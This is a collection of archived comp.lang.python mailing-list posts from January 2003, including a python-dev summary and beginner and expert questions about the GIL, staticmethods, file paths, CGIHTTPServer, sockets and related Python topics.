References: <ufzsgi9ao.fsf@boost-consulting.com> <20021230145912.GA8481@panix.com> <ud6njfshh.fsf@boost-consulting.com> <ulm27cvdx.fsf@boost-consulting.com> <auq0rq$1eje$1@nntp6.u.washington.edu> <ufzsf9r5o.fsf@boost-consulting.com>
Message-ID: <95959723.0301011935.7863168b@posting.google.com>

David Abrahams <dave at boost-consulting.com> wrote in message 

> Q == Qt, and apparently it may invoke some of the
> callbacks in response to calls to its API, and also in response to
> asynchronous events (e.g. on some other thread than the one Python is
> executing in).
> 
> > But while I'm not opposed to some brilliant fix to the thread
> > bootstrapping problems in Python, my simplistic answer would be that
> > external function calls should always release the interpreter lock,
> > whether they need to in anticipation of callbacks or not.  
> 
> Interesting; that's what the author of B said as well.  However, most
> of my users have absolutely no need to release the GIL, and I'd hate
> to make them pay for it just because a few strange applications do.

> > If implementation A fails to do this and it causes problems for B,
> > then it's time to fix A.
> 
> Clearly, that's the only available solution at present.

Releasing the GIL in A before calling into Q would be one solution,
perhaps the most principled one.  But you might just as well say that
B needs to be fixed.

If it's possible to install a callback function in Q that can be
called either
synchronously or asynchronously, and if the implementation of this
callback
in B will _always_ try to acquire the GIL before it calls into Python
core code,
then I'd say that B needs to be fixed.  B should not unconditionally
try to acquire the GIL. Even though the code in B may have no way to
determine if it (the current thread) has the GIL, it can see if there
is a current Python thread state at all (PyThreadState_GET).  If there
is one, the function is called synchronously; if there isn't, it's
called asynchronously, and only in this case should it create (or
retrieve) its own PyThreadState, and acquire the GIL. (It's possible
that such a callback could be called after the Python



From DLNXPEGFQVEB at spammotel.com  Wed Jan  1 14:05:38 2003
From: DLNXPEGFQVEB at spammotel.com (Christos TZOTZIOY Georgiou)
Date: Wed, 01 Jan 2003 21:05:38 +0200
Subject: Class methods in standard library that (c|sh)ould be staticmethods
Message-ID: <oev51vkp7r29q6vq99t5npbedmh15ck17a@4ax.com>

As I understand it, based on the description of a staticmethod, there
are some methods that qualify as static methods this way:
* They are irrelevant to the instance data
* They are meaningful if called on their own (through the class of
course) without any need for creating a class instance.

A staticmethod has also a minor advantage of lower overhead and slightly
faster calls (as verified in 2.2.2 and 2.3 by me) than methods (UIAM
static methods stop being methods and turn into simple functions).

Since static methods are there, anyway, and keeping in mind that many
(at least, *I* did and still do occasionally :) newbies browse the
standard library to learn Python, I suggest we change some of the
library class methods into static methods.  I'm willing do that (ie
provide a patch), if there is some consensus; after all, I already did
that and verified that nothing changed in the standard test suite
results.

At the end of my post I provide a list of the methods that can be turned
into static methods, along with a little reasoning why.  I picked
methods that can be of wider use (for some of which I have written
versions of my own when I shouldn't, since they were in the library...).

Opinions, please.

** List of staticmethod candidates:

- File 'cgi.py', class FieldStorage, method make_file:
# Returns a read-write temporary binary file. (perhaps a
tempfile.TemporaryFile would be more appropriate, though)

- File 'CGIHTTPServer.py', class CGIHTTPRequestHandler, method
is_executable:
# Checks whether argument is an executable.
- File 'CGIHTTPServer.py', class CGIHTTPRequestHandler, method
is_python:
# Checks whether path argument is a python script.

- File 'cmd.py', class Cmd, method columnize:
# Displays a list of strings as a compact set of columns.

- File 'ConfigParser.py', class ConfigParser, method _interpolate:
# Substitutes %(name) values "recursively" (tries again after
substituting)
I would drop the underscore in this case, though.

- File 'formatter.py', class AbstractFormatter, method format_roman:
# Returns a number as a Roman numeral.

- File 'HTMLParser.py', class HTMLParser, method unescape:
# Returns its arg unescaping some common HTML "&name;" entities

- File 'pydoc.py', class HTMLRepr, method escape:
# Returns its arg escaping '&', '<' and '>'

- File 'pydoc.py', class TextDoc, method indent:
# Indents each line in its text arg with its prefix arg

- All encode, decode methods of the Codec classes in the
encodings/<codec>.py files (although str.decode and unicode.encode feel
more appropriate)
-- 
TZOTZIOY, I speak England very best,
Real email address: 'dHpvdEBzaWwtdGVjLmdy\n'.decode('base64')



From csad7 at yahoo.com  Tue Jan  7 15:46:15 2003
From: csad7 at yahoo.com (christof hoeke)
Date: Tue, 7 Jan 2003 21:46:15 +0100
Subject: easier conversion pathToURL possible?
Message-ID: <avfebj$poc$00$1@news.t-online.com>

hi,
for a program i need filepaths like "\test\index.html" that might come as
input from the command line to be converted to urls like "/test/index.html".
(somehow something contrary to what os.path can do to a path..., not to make
it os specific but generalize it).
also absolute paths like "c:\test\index.html" should be converted to an url
like file:///c:/test/index.html.

i could not find a solution in the standard library, is there one?

the following is the function i wrote for doing this. is there an easier
solution to it and does it work for all platforms at all? i could only test
this on windows.

def pathToURL(path):
    """
    converts a os specific filepath into a standard URL?
    """
    #delete garbage like /./
    path = os.path.normpath(path)
    #use file: protocoll for complete paths with drivenames
    drive, p = os.path.splitdrive(path)
    #change possible \ to /
    url = string.replace(p, "\\", "/")
    if drive:
        return "file:///%s%s" % (drive, url)
    else:
        return url

does this code work on unix and mac at all?
thanks a lot!

chris





From drifty at bigfoot.com  Fri Jan 17 17:43:03 2003
From: drifty at bigfoot.com (Brett C.)
Date: 17 Jan 2003 14:43:03 -0800
Subject: python-dev Summary for 2003-01-01 through 2003-01-15
Message-ID: <mailman.1043083204.23114.clpa-moderators@python.org>

+++++++++++++++++++++++++++++++++++++++++++++++++++++
python-dev Summary for 2003-01-01 through 2002-01-15
+++++++++++++++++++++++++++++++++++++++++++++++++++++

This is a summary of traffic on the `python-dev mailing list`_ between
January 1, 2003 and January 15, 2003 (inclusive).  It is intended to
inform the wider Python community of on-going developments on the list
that might interest the wider Python community.  To comment on
anything mentioned here, just post to python-list at python.org or
comp.lang.python in the usual way; give your posting a meaningful
subject line, and if it's about a PEP, include the PEP number (e.g.
Subject: PEP 201 - Lockstep iteration). All python-dev members are
interested in seeing ideas discussed by the community, so don't
hesitate to take a stance on something.  And if all of this really
interests you then get involved and join python-dev!

This is the ninth summary written by Brett Cannon (and fashionably
late, no less!).

All summaries are archived at http://www.python.org/dev/summary/ .

Please note that this summary is written using reStructuredText_ which
can be found at http://docutils.sf.net/rst.html .  Any unfamiliar
punctuation is probably markup for reST_; you can safely ignore it
(although I suggest learning reST; its simple and is accepted for PEP
markup).  Also, because of the wonders of programs that like to
reformat text, I cannot guarantee you will be able to run the text
version of this summary through Docutils_ as-is unless it is from the
original itself.

.. _python-dev mailing list:
http://mail.python.org/mailman/listinfo/python-dev
.. _Docutils: http://docutils.sf.net/
.. _reST:
.. _reStructuredText: http://docutils.sf.net/rst.html

.. contents::

======================
Summary Announcements
======================

This summary has been written in the first-person.  Aahz had suggested
I write in third-person, but I just can't stand it.  =)

A new project named `Minimal Python`_ whose goal is to write a Python
interpreter using a minimal amount of C and maximizing the amount of
code written in Python.  As of now it is just a mailing list but some
interesting points have already been made and it has some major Python
programmers involved with it so it will more than likely succeed.

Leaving out `Broken strptime in Python 2.3a1 & CVS`_ for two reasons. 
One, the only lesson in that thread is that when C does not give you a
good standard, rewrite the code in Python and come up with one.  Two,
since the whole thing revolves around my code I would be more biased
than I normally am.  =)

Also, some of the threads have notes with them mentioning how I could
not find them in the Mailman archive.

And go to PyCon_ (especially since I am going to be giving a tutorial
on reST_)!

.. _Minimal Python: http://codespeak.net/mailman/listinfo/pypy-dev
.. _Broken strptime in Python 2.3a1 & CVS:
http://mail.python.org/pipermail/python-dev/2003-January/031983.html
.. _PyCon: http://www.python.org/pycon/

===================================================
`PEP 303: Extend divmod() for Multiple Divisors`__
===================================================
__ http://mail.python.org/pipermail/python-dev/2002-December/031511.html

Splinter threads:

	- map, filter, reduce, lambda (can't find thread in Mailman archive)

As mentioned in the `last summary`_, this thread sparked a huge
response to the built-ins in Python (if you don't remember what all
the built-ins are, just execute ``dir(__builtins__)`` in the
interpreter).  It started with Christian Tismer calling for  the
deprecation of ``divmod()`` since he "found that divmod compared to /
and % is at least 50 percent *slower* to compute", primarily because 
``divmod()``  is a function and the overhead that comes from being
that.  Guido responded and agree that, in hindsight, "Maybe it wasn't
such a good idea".  But since it isn't broken he is not for replacing
it since "At this point, any change causes waste".  Besides, Tim
Peters came up with the great compromise of removing " divmod() when
[Tim's] dead.  Before then, it stays."

Guido  would rather have the energy spent on adding the ability for
the language to recognize that it "is a built-in so it can generate
more efficient code".  This led to Christian suggesting changing
Python so that built-ins like ``divmod()`` that can easily be  written
in Python be done so and thus remove the C version without any
backwards-compatibility issues.  Guido's response was to "first make
some steps towards the better compiler [Guido] alluded to. Then we can
start cutting."

Tim in an email said that "If we have to drop a builtin, I never liked
reduce <wink>".  This then led to Barry Warsaw saying he could stand
to lose ``apply()``.  Then Raymond Hettinger  nominated ``buffer()``
and ``intern()`` as things that could stand to go away.  Michael
Hudson suggested ``map()`` and  ``filter()``.

Guido said ``apply()`` could stand getting a PendingDeprecationWarning
since the new calling conventions (``fxn(*args, **kwargs)``) replace
``apply()``'s use.  He almost mentioned how he wanted something like
``foo(1, 2, 3, *args, 5, 6, 7, **kw)`` since the ``5, 6, 7`` is
currently not supported.

But the call for the removal of ``lambda`` is what really set things
off.  People in support of the removal said that nested scoping
removed a huge reason for having ``lambda``.  But functional
programmers said that they wouldn't let ``lambda`` be taken away.  It
was agreed it had its uses, but the name was not relevant to its use
and its syntax is non-standard and should be changed in Python 3000. 
Someone suggested renaming it ``def``, but Guido said no since
"Python's parser is intentionally simple-minded and doesn't like
having to look ahead more than one token" and using ``def`` for
``lambda`` would break that design.  Barry suggested ``anon`` which
garnered some support.

It was also suggested to have ``lambda`` use parentheses to hold its
argument list like a good little function.

And then all of this led to a discussion over features in Python that
are not necessarily easy to read but are powerful.  Some said that
features such as list comprehensions, the ``*/**`` calling syntax,
etc., were not good since they are not syntactically obvious.  This
was argued against by saying they are quite useful and are not needed
for basic programming.

.. _last summary: http://www.python.org/dev/summary/2002-12-16_2002-12-31.html

==================
`Holes in time`__
==================
__ http://mail.python.org/pipermail/python-dev/2003-January/031836.html

Tim Peters brought up an inherent problem with the new datetime_ type
and dealing with timezones and daylight savings.  Imagine when DST
starts; the clock jumps from 1:59 to 3:00.  Now what happens if
someone enters a time that does  not use DST?  The implementation has
to handle the possibility of something inputting 2:00 and instantly
pushing forward an hour.  But what is worse is when DST ends.  You go
from 1:59 back to 1:00!  That means you pass over everything from 1:00
to 1:59 twice during that day.  Since it is flat-out impossible to
tell, what should be done in this case?

Originally ``datetime`` raised a ValueError.  It has now been changed
to "go through 1:00am to 1:59am twice" according to Aahz.

If you  want to read a paper on the history of time go to
http://www.naggum.no/lugm-time.html as recommended by Neil
Schemenauer.

.. _datetime: http://www.python.org/dev/doc/devel/lib/module-datetime.html

===========================================
`no expected test output for test_sort?`__
===========================================
__ http://mail.python.org/pipermail/python-dev/2003-January/031889.html

This thread was originally started by Skip Montanaro to try to figure
out why ``test_sort`` was failing to catch an error when run through
``regrtest.py``.  But Skip quickly realized ``regrtest.py`` was using
the wrong directories.

What makes this thread worth mentioning is a question I posed about
whether it was worth converting tests over to PyUnit.  Guido said not
for the sake of converting, but if you were going to be improving upon
the tests, then moving a testing suite over to PyUnit was a good idea.
 It was also said that all new testing suites should use PyUnit
(although doctest is still acceptable, just not preferred).  Walter
D?rwald started `patch #662807`_ to use for converting tests to
PyUnit.  So give a hand if you care to.

.. _patch #662807: http://www.python.org/sf/662807

============
binutils
============
(Can't find in Mailman archive) 

Andrew Koenig told python-dev of a problem with binutils_ 2.13 way
back in the `2002-089-16 through 2002-09-01 summary`_.  Well, it
appears that 2.13.2 fixes the issues.

.. _2002-089-16 through 2002-09-01 summary:
http://www.python.org/dev/summary/2002-08-16-2002-09-01.html

===========================
The meaning of __all__
===========================
(Can't find in Mailman archive)

Jack Jansen asked what the proper use of ``__all__``; a discussion on
the PyObjC_ mailing list sparked this question.  The answer is that
``__all__`` is used for the public API of a module.

.. _PyObjC: http://pyobjc.sourceforge.net/

======================================
PEP 301 implementation checked in
======================================
(Can't find in Mailman archive;
http://mail.python.org/pipermail/python-list/2003-January/137270.html
goes to python-list discussion)

AM Kuchling announced that the `PEP 301`_ implementation by Richard
Jones.  The web server handling everything is at `amk.ca`_ off of a
DSL line so don't hit it too hard.  An example of how to change a
Distutils ``setup.py`` file is given in the e-mail.

.. _PEP 301: http://www.python.org/peps/pep-0301.html
.. _amk.ca: http://www.amk.ca/cgi-bin/pypi.cgi

=======================================
bz2 problem deriving subclass in C
=======================================
(Can't find in Mailman archive) 

This thread was originally about a patch by Neal Norwitz and how to
properly deal with deallocating in C code.  Apparently this has nipped
several people in the bum and has changed since the introduction of
new-style classes.  It appears that if you are deallocating a base
type, you call its ``tp_dealloc()`` function; if it is a new-style
class, you call ``self->ob_type->tp_free()``.

====================
`Cross compiling`__
====================
__ http://mail.python.org/pipermail/python-dev/2003-January/031848.html

(Link only part of thread; rest missing)

Splinter threads:

	- `Bastion too <http://mail.python.org/pipermail/python-dev/2003-January/031851.html>`__
	- `What attempts at security should/can Python implement?
<http://mail.python.org/pipermail/python-dev/2003-January/031871.html>`__
	- `Whither rexec? <http://mail.python.org/pipermail/python-dev/2003-January/031842.html>`__
	- `tainting <http://mail.python.org/pipermail/python-dev/2003-January/031960.html>`__

Originally a thread about cross-compilation on OS X to Windows by
Timothy Wood, this ended up changing into a thread about security in
Python.

As has come up multiple times before, rexec_'s lack of actual security
for new-style classes came up.  This then led to a question of whether
Bastion_ was secure as well.  The answer was no and have now been
subsequently sabotaged on purpose by Guido; they now require you to
manually edit the code to allow them to work.

A discussion on how to make Python secure came up.  Various points
were made such as how to deal with introspection and how people might
try to get around being locked out of features.  Tainting was also
mentioned for strings.

If you need some security in your app, take a look at mxProxy_.  Its
design is similar to how Zope3_ handles security.

.. _rexec: http://www.python.org/doc/current/lib/module-rexec.html
.. _Bastion: http://www.python.org/doc/current/lib/module-Bastion.html
.. _mxProxy: http://www.egenix.com/files/python/mxProxy.html
.. _Zope3: http://dev.zope.org/Wikis/DevSite/Projects/ComponentArchitecture/FrontPage

===========================
`tutor(function|module)`__
===========================
__ http://mail.python.org/pipermail/python-dev/2003-January/031893.html

(Only part of thread; rest missing from archive)

Christopher Blunk proposed the idea of having a built-in
``examples()`` function or something similar that would spit out
example code on how to use something.  There was a discussion as to
whether it was reasonable for Python to try to keep up a group of
examples in the distribution.  It was agreed, though, that more code
examples would be good to have *somewhere*.

One place is in the Demo_ directory of the source distribution. 
Problem with that is it is only available in the source distribution
and it is not vigorously maintained.  Both of these are solvable, but
it didn't look like anyone was taking the reigns to cause this to
happen.

Another was to push people to give to an online repository (such as
the `Python Cookbook`_) to keep it centralized and accessible by
anyone.  Problem with that is it creates a dependency on something
outside of PythonLab's control.

The last option was adding it to the module documentation.  This is
the safest since it means it becomes permanent and everyone will have
access to it.  But it has the same drawback as all of these other
suggestions; you can't access it in the interpreter as easily as you
can ``help()``.

The thread ended with no conclusion beyond cleaning up the ``Demos``
directory and adding more examples to the official documentation would
be nice.

.. _Demo: http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Demo/
.. _Python Cookbook: http://aspn.activestate.com/ASPN/Python/Cookbook/

=========================================
`PEP 297: Support for System Upgrades`__
=========================================
__ http://mail.python.org/pipermail/python-dev/2003-January/031838.html

MA Lemburg asked if Guido would be willing to let an implementation of
`PEP 297`_ into Python 2.3.  He said yes and would also be willing to
add it to 2.2.3 and even 2.1.4 if that version ever comes about.

A discussion of how to handle the implementation began.  The agreed
upon directory name became ``site-package-<Python-version>`` with
``<Python version>`` being the full version: major.minor.micro. 
``site.py`` will be modified so that if the current version of Python
is different from the version of the directory that it won't add it to
``sys.path``.

There was the brief idea of deleting the directory as soon as the
version did not match, but that was thought of being harsh and
unneeded.

.. _PEP 297: http://www.python.org/peps/pep-0297.html

================================
`PyBuffer* vs. array.array()`__
================================
__ http://mail.python.org/pipermail/python-dev/2003-January/031841.html

(Only part of thread; rest missing from archive)

Splinter threads:
	- `Slow String Repeat
<http://mail.python.org/pipermail/python-dev/2003-January/031895.html>`__

Bill Bumgarner asked whether ``PyBuffer*`` or ``array.array()`` was
the proper thing to use because one is like a huge string and the
other is unsigned ints.  Guido basically said to just use strings like
everyone else for byte storage.  Bill said he would just live with the
dichotomy.

This thread also brought up a question of performance for the code
``array.array('B').fromlist([0 for x in range(0, width*height*3)])``. 
Was cool to watch various people take stabs as speeding it up. 
Written in Python, the fast way was to change it to ``array.array('B',
[0])*width*height*3``; doing several decent-sized calls minimized
``memcpy()`` calls in the underlying C code.  Raymond Hettinger came
up with a fast way to do it in C.

==========================
`new features for 2.3?`__
==========================
__ http://mail.python.org/pipermail/python-dev/2003-January/031837.html

Neal Norwitz wanted to get the tarfile_ module into Python 2.3.  This
led to Guido saying he wanted to get Docutils_ and better pickling for
new-style classes in as well.

The Docutils idea was shot down because it was stated it currently is
not ready for inclusion.  2.4 is probably the version being shot for.

The pickle idea raised security ideas (this is becoming a trend for
some reason on the list lately).  In case you didn't know, you
shouldn't run pickled code you don't trust.

.. _tarfile: http://python.org/sf/651082

================
`sys.path[0]`__
================
__ http://mail.python.org/pipermail/python-dev/2003-January/031896.html

Thomas Heller had a question about the documented handling of
``sys.path[0]``.  This quickly led to the point that the value, when
specified and not the empty string, is a relative path; not
necessarily the desired result.  And so `patch #664376`_ was opened to
make it be absolute.

.. _patch #664376: http://www.python.org/sf/664376

===================
`Misc. warnings`__
===================
__ http://mail.python.org/pipermail/python-dev/2003-January/031884.html

MA Lemburg noticed that ``test_ossaudiodev`` and ``test_bsddb3`` were
not expected skips on his Linux box.  He wondered why they were not
exepected to be skipped on his platform.  This led to a discussion
over the expected skip set and how it is decided what is going to be
skipped (experts on the various OSs make the call).

==============================
`Raising string exceptions`__
==============================
__ http://mail.python.org/pipermail/python-dev/2003-January/031907.html

It looks like string exceptions are going to raise
PendingDeprecationWarning; you have been warned.

======================
`PEP 290 revisited`__
======================
__ http://mail.python.org/pipermail/python-dev/2003-January/032003.html

Kevin Altis was cleaning up wxPython_ and all the references to the
``string`` module and pointed out that the stdlib probably could stand
to have a similar cleaning as well.  Guido said, though, that it is
better to choose a module you are familiar with and do a complete
style clean-up instead of doing a library-wide clean-up of a single
thing.

.. _wxPython: http://www.wxpython.org/

============================
`Assignment to __class__`__
============================
__ http://mail.python.org/pipermail/python-dev/2003-January/032016.html

Kevin Jacobs got bitten by the change to non-heap objects that
prevents the assigning to ``__class__`` (it was recently backported to
the 2.2 branch).  He asked if there was any way to bring it back;
Guido said no because of various layout issues in the C struct and
such.

=================================
`Parallel pyc construction`__
=================================
__ http://mail.python.org/pipermail/python-dev/2003-January/032060.html

Paul Dubois ran into an problem on a 384 processor system with .pyc
file corruption.  He wanted a way to just skip the creation of .pyc
files entirely since his programs run for so long that initial
start-up times are inconsequential and that is the point of .pyc
files.  Neal Norwitz is working on `patch #602345`_ to implement a
command-line option.

.. _patch #602345: http://www.python.org/sf/602345

==============================================
`Extension modules, Threading, and the GIL`__
==============================================
__ http://mail.python.org/pipermail/python-dev/2003-January/032017.html

This thread was briefly mentioned in the `last summary`_.  But it had
changed into a discussion of Python external thread API.  Mark Hammond
commented how he had bumped up against its limitations in multiple
contexts.  Mark thought it would be useful to define an API where one
wanted the ability to say "I'm calling out to/in from an external
API".  This would be a large project, though, and so Mark was not up
to doing it on his own.  David Abrahams, though, stepped up and said
he was willing to help.  So did Anthony Baxter.

Tim Peters had his own twist by wanting to be able to call from a
thread into a Python thread without knowing a single thing about that
state of Python at that point, e.g. don't even know that that
interpreter is done initializing.  Mark saw the way to go about
solving all of this by writing a PEP, write a new C API to solve this
issue that is optional and used by extension modules wanting to use
the new features, and then define a new TLS (Thread Local Storage;
thank you acronymfinder.com).  Mark thought the TLS would only be
needed for thread-state.  Someone suggested ACE_ as a TSS (Thread
State Storage) implementation which can cover all the platforms that
Python needs covered.  But Mark suggested coming up with a "pluggable
TLS" design.

.. _ACE: http://doc.ece.uci.edu/Doxygen/Beta/html/ace/classACE__TSS.html

============================================
`Interop between datetime and mxDateTime`__
============================================
__ http://mail.python.org/pipermail/python-dev/2003-January/032100.html

MA Lemburg expressed interest in trying to get mxDateTime_ to play
nice with datetime_.  The idea of having a base type like the new
basestring in Python 2.3 was suggested.  But there was pickling issues
with datetime, MA wanting to keep mxDateTime compatible with Python
1.5.2, and getting everyone to work in a consistent way through the
base type.  Another instance where interfaces would be handy.

.. _mxDateTime: http://www.lemburg.com/files/python/mxDateTime.html

===========================
`properties on modules?`__
===========================
__ http://mail.python.org/pipermail/python-dev/2003-January/032106.html

Neil Schemenauer wanted to be able to make module variables be
properties.  Samuele Pedroni stepped up and said the issue for this to
work was "about instance-level property apart the module thing
details".  He also pointed out that it would mean you could directly
import a property which would cause unexpected results, thus killing
the idea.  Guido was disappointed he didn't get to wield his BDFL
pronouncement stick and smack the idea down <wink>.

======================================
`Fwd: Re: PEP 267 improvement idea`__
======================================
__ http://mail.python.org/pipermail/python-dev/2003-January/032165.html

Oren Tirosh forwarded an e-mail from python-list at python.org to
python-dev about `PEP 267`_ and various strategies.  One was using
negative keys for signaling guaranteed key lookup failure.  Oren also
played with inlining.  He also said that since interned strings are
now out of Python as of 2.3 (thanks to Oren) that the namespace could
"have only interned strings as entry keys and avoid the need for a
second search pass on first failed lookup".  He even considered
creating a special dict type for namespaces.

.. _PEP 267: http://www.python.org/peps/pep-0267.html




From jciber16 at hotpop.com  Thu Jan  2 17:56:17 2003
From: jciber16 at hotpop.com (Jc)
Date: Thu, 2 Jan 2003 17:56:17 -0500
Subject: File IO.
References: <3e13e820_4@corp.newsgroups.com> <S3SQ9.49943$ac.2076@nwrddc01.gnilink.net>
Message-ID: <3e14c38b_3@corp.newsgroups.com>

Thanks! I was wondering if I had to use just except IOError and not some
mile long command.

"Raymond Hettinger" <vze4rx4y at verizon.net> wrote in message
news:S3SQ9.49943$ac.2076 at nwrddc01.gnilink.net...
> "Jc" <jciber16 at hotpop.com> wrote in message
> news:3e13e820_4 at corp.newsgroups.com...
> > I'm writing a program and when it can't open a txt file it crashes. How
> can
> > I get it to report the file not being there? I set it up using the basic
> > command,
> >
> > in_file = open(filename+".txt","r")
> > text = in_file.read()
> > in_file.close()
> >
> > Thanks.
> >
> > JC
>
> Wrap the call in a try/except block:
>
> try:
>     open('nothere.txt')
> except IOError:
>     print 'Cannon open file'
>
>
> Raymond Hettinger
>
>




-----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
-----==  Over 80,000 Newsgroups - 16 Different Servers! =-----



From peter at engcorp.com  Mon Jan  6 22:32:29 2003
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 06 Jan 2003 22:32:29 -0500
Subject: CGIHTTPServer and POST with Netscape versus IE
Message-ID: <3E1A4A4D.50C5DB52@engcorp.com>

(This may be my first question in this newsgroup.  Please
be gentle! :-)

We've encountered a little problem in a test program
involving the standard module CGIHTTPServer.py and a POST
operation from Internet Explorer.

In summary, Netscape always works, but when using
Internet Explorer 6.0 (SP1, probably all versions fail)
a POST operation will result in a message (not a 404 or 
any other recognizable HTTP error) that reads:

   "The page cannot be displayed" 

along with a page full of friendly advice about what I
might have done wrong, and a title bar reading "Cannot
find server".

After extensive investigation, we discovered that IE is
appending a CR LF pair to the request body, but is not
reporting it in the Content-length field.  (The actual
data is 23 bytes long, or 25 with these two.)  By 
modifying the CGIHTTPServer.py code to read two extra
bytes, we "fix" the problem, but then of course the 
server hangs when accessed from Netscape which doesn't
supply the extra two bytes.

My questions: 

Is this a known problem for IE and maybe other browsers?

Is it legal for a browser to do this, in which case is 
it something CGIHTTPServer.py should be handling?

Can anyone point me to other code (haven't been able to
find the relevant lines in Zope yet) in web servers which
might already handle this in a general and safe manner?

Thanks for any pointers.  I've tried a few Google searches
so far without any bites, but it seems pretty obvious that
this is something that is known and solved, if I knew
where to look, and it seems likely the fix should be added
to CGIHTTPServer.py.

-Peter



From LogiplexSoftware at earthlink.net  Thu Jan  9 12:54:38 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 09 Jan 2003 09:54:38 -0800
Subject: Do pythons like sugar?
In-Reply-To: <cj5r1v4to11qdrsjcm1aiakm07adg9haob@4ax.com>
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com>
	 <cj5r1v4to11qdrsjcm1aiakm07adg9haob@4ax.com>
Message-ID: <1042134877.23487.1131.camel@software1.logiplex.internal>

On Thu, 2003-01-09 at 07:31, Afanasiy wrote:
> On Thu, 09 Jan 2003 06:52:47 GMT, Afanasiy <abelikov72 at hotmail.com>
> wrote:
> 
> >I've written this method for a text formatting class...
> >But it's ugly as sin. With all those self's I consider
> >it much less readable than it could be...
> >
> >A few languages provide syntax sugar for dealing with
> >this by allowing you to localize the class scope.
> >
> >Does Python? eg. `with self do:`
> >
> >  def format( self, width=80 ):    
> >    self.lines = ['']
> >    i = 0
> >    for word in self.text.split():  
> >      if self.textwidth(self.lines[i]) + self.textwidth(word) <= width:
> >        if self.textwidth(self.lines[i]) > 0:
> >          self.lines[i] += ' '
> >        self.lines[i] += word
> >      else:
> >        i += 1
> >        self.lines.append(word)
> 
> It should not be common practice to slander someone who asks this.
> I'm going to attempt to ignore this thread now. Have a nice life.

I somehow missed the slander.  Perhaps there are language/cultural
problems showing themselves, but all I've seen in this thread are people
trying to help you and you getting bent out of shape about it.  Saying
that you stole something you didn't is _slander_.  Suggesting that your
code might be improved isn't.  It's called "constructive criticism", or
"help" for short.

You might have better luck in comp.lang.lisp.


-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From max at alcyone.com  Fri Jan  3 05:52:09 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 03 Jan 2003 02:52:09 -0800
Subject: Socket Blocking problem
References: <av3n7b$h8m$1@sparta.btinternet.com>
Message-ID: <3E156B59.ED0A2C5@alcyone.com>

sree wrote:

> I am writing a small socket program in python. Here there are two
> progs. One
> sits on system A and accepts connections, does something with the data
> that
> came in. Othe sits on system B and sends commands to system A. Problem
> is I
> want to be able to read if system A is busy or free from system B.
> Hence I
> tried setblocking(0) but then it fails to start with error as below on
> system A.

Have you tried using select (select.select in Python)?

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Then conquer we must, for our cause is just ...
\__/ Francis Scott Key
    Fauxident / http://www.alcyone.com/pyos/fauxident/
 A "faux" ident daemon in Python.



From peter at engcorp.com  Sun Jan 26 10:08:48 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sun, 26 Jan 2003 10:08:48 -0500
Subject: Iterating all files in a directory
References: <1043544003.4943.28.camel@refugeeMedia> <mailman.1043592286.2106.python-list@python.org>
Message-ID: <3E33FA00.17CABD45@engcorp.com>

Mongryong wrote:
> 
> In particular, I would like to obtain the names of all the files that
> end in a certain suffix (ie. .txt).

import glob
files = glob.glob('*.txt')

-Peter



From fredrik at pythonware.com  Fri Jan 10 03:40:32 2003
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 10 Jan 2003 08:40:32 GMT
Subject: File Read/Write test program
References: <mailman.1041984409.6241.python-list@python.org> <ho1n1v49n9s45lemq0uks23kp0v33tapc9@4ax.com>
Message-ID: <4GvT9.5515$LY2.325145@newsc.telia.net>

Manuel M. Garcia wrote:

> meg = "*" * (1048576 * 20)
>
> gives you a string of length 1048576 * 20 in one step

interestingly enough,

    meg = "*" * 1048576 * 20

gives you the same result in much less time.

</F>





From brian at rk-speed-rugby.dk  Wed Jan 29 03:13:04 2003
From: brian at rk-speed-rugby.dk (Brian Elmegaard)
Date: 29 Jan 2003 09:13:04 +0100
Subject: Boa constructor  "Error on startup"
Message-ID: <uvg08fk6n.fsf@rk-speed-rugby.dk>

Hi,

I just wanted to give Boa Constructor a try, so I installed v 0.2.0 on
my win2000 running python 2.2.2 and wxpython 2.4.0.2. 

I get a message box entitled "Error on startup" with the message
"Global name 'string' is not defined" when I try to run boa.py or
boa.pyw.

What should I do?

tia, 
-- 
Brian (remove the sport for mail)
http://www.et.dtu.dk/staff/be



From nav at adams.patriot.net  Sun Jan 19 00:43:20 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 19 Jan 2003 00:43:20 -0500
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <3E274D34.8F0C4348@alcyone.com> <f57664b9.0301170105.a7d95fa@posting.google.com> <x7el7b4qiv.fsf@guru.mired.org> <yyywul3skw6.fsf@adams.patriot.net> <7xznpzv93c.fsf@ruckus.brouhaha.com> <wDZV9.138$bs2.110@news2.central.cox.net> <eLiW9.2041$m47.10510@news-server.bigpond.net.au>
Message-ID: <yyywul1r8xz.fsf@adams.patriot.net>

"Neil Hodgson" <nhodgson at bigpond.net.au> writes:

>  return ''.join([u[i]+(['',',',''][(len(u)-i)%3]) for i in
> range(len(u))])[:-1]
  ...
>    Mmm, Perl envy ...

Now I feel like I've created a monster.

Nick

-- 
# sigmask.py  ||  version 0.2  ||  2003-01-07  ||  Feed this to your Python.
print reduce(lambda x,y:x+chr(ord(y)-1),'Ojdl!Wbshjti!=obwAqbusjpu/ofu?','')




From logistix at zworg.com  Wed Jan 29 22:02:21 2003
From: logistix at zworg.com (logistix)
Date: 29 Jan 2003 19:02:21 -0800
Subject: Service Control
References: <mailman.1043873953.30354.python-list@python.org>
Message-ID: <bdb5b58f.0301291902.3285c0f7@posting.google.com>

"Hutchins, Mike" <mhutchins at amr-corp.com> wrote in message news:<mailman.1043873953.30354.python-list at python.org>...
> I can't seem to be able to control services using win32serviceutil.
> 
> I keep getting
> 
> api error: (1062, 'ControlService', 'The service has not been started.')
> 
> Any ideas on where to look? I have googled for a while now and can't
> seem to figure it out.

What specifically are you trying to do? Will the same thing succeed or
fail if you use sc.exe to do it?



